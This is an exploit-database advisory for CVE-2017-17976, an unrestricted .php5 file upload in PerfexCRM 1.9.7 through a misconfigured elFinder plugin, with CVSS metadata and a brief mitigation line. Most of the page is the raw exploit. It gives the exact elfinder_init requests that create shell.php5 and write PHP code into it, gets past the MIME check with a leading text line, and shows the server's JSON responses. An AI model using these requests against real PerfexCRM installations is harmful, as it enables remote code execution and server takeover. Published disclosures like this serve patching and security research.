PerfexCRM 1.9.7 – Unrestricted php5 File upload

vendor:

PerfexCRM

by:

Ahmad Mahfouz

9.8

CVSS

CRITICAL

Unrestricted File Upload

434

CWE

Product Name: PerfexCRM

Affected Version From: 1.9.7

Affected Version To: 1.9.7

Patch Exists: Yes

Related CWE: CVE-2017-17976

CPE: a:perfexcrm:perfexcrm:1.9.7

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: None

2018

PerfexCRM 1.9.7 – Unrestricted php5 File upload

PerfexCRM 1.9.7 is prone to unrestricted file upload that lead to system take over by misconfigured elfinder plugin. Bypassing the misconfigured file upload with file .php5 and bypassing the file content restriction by adding TEXT line to represent mime type text.

Mitigation:

Ensure that the elfinder plugin is properly configured and that all file uploads are properly validated.

Source

Exploit-DB raw data:

# Exploit Title: PerfexCRM 1.9.7 – Unrestricted php5 File upload 
# Exploit Author: Ahmad Mahfouz 
# Description: PerfexCRM 1.9.7 prone to unrestricted file upload that lead to system take over by misconfigured elfinder plugin
# Contact: http://twitter.com/eln1x
# Date: 12/01/2018
# CVE: CVE-2017-17976
# Version: v1.9.7 
# Software Link: https://www.perfexcrm.com/

 

# bypassing the misconfigured file upload with file .php5

 

GET admin/utilities/elfinder_init?cmd=mkfile&name=shell.php5&target=[dir]


JSON Response:

{"added":[{"isowner":false,"mime":"text\/plain","read":1,"write":1,"size":"0","hash":"[XXX]","name":"shell.php5","phash":"[XXXX] "}],"changed":[{"isowner":false,"mime":"directory","read":1,"write":1,"size":0,"hash":"[ XXX]","name":"asa","phash":"[ XXX] ","volumeid":"[XXX]"}]}

 

#bypass the file content restriction by adding TEXT line to represent mime type text


Request


POST /admin/utilities/elfinder_init HTTP/1.1

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

X-Requested-With: XMLHttpRequest

Connection: close

 

cmd=put&target=[folder]&encoding=UTF-8&content=demo

 

newline to represent text mime type

<?php

    phpinfo();

?>

 

HTTP/1.1 200 OK
Content-Type: application/json
Connection: close
Content-Length: 167

 

{"changed":[{"isowner":false,"mime":"text\/plain","read":1,"write":1,"size":"44","hash":"[XXX]","name":"shell.php5","phash":"[XXX]]"}]}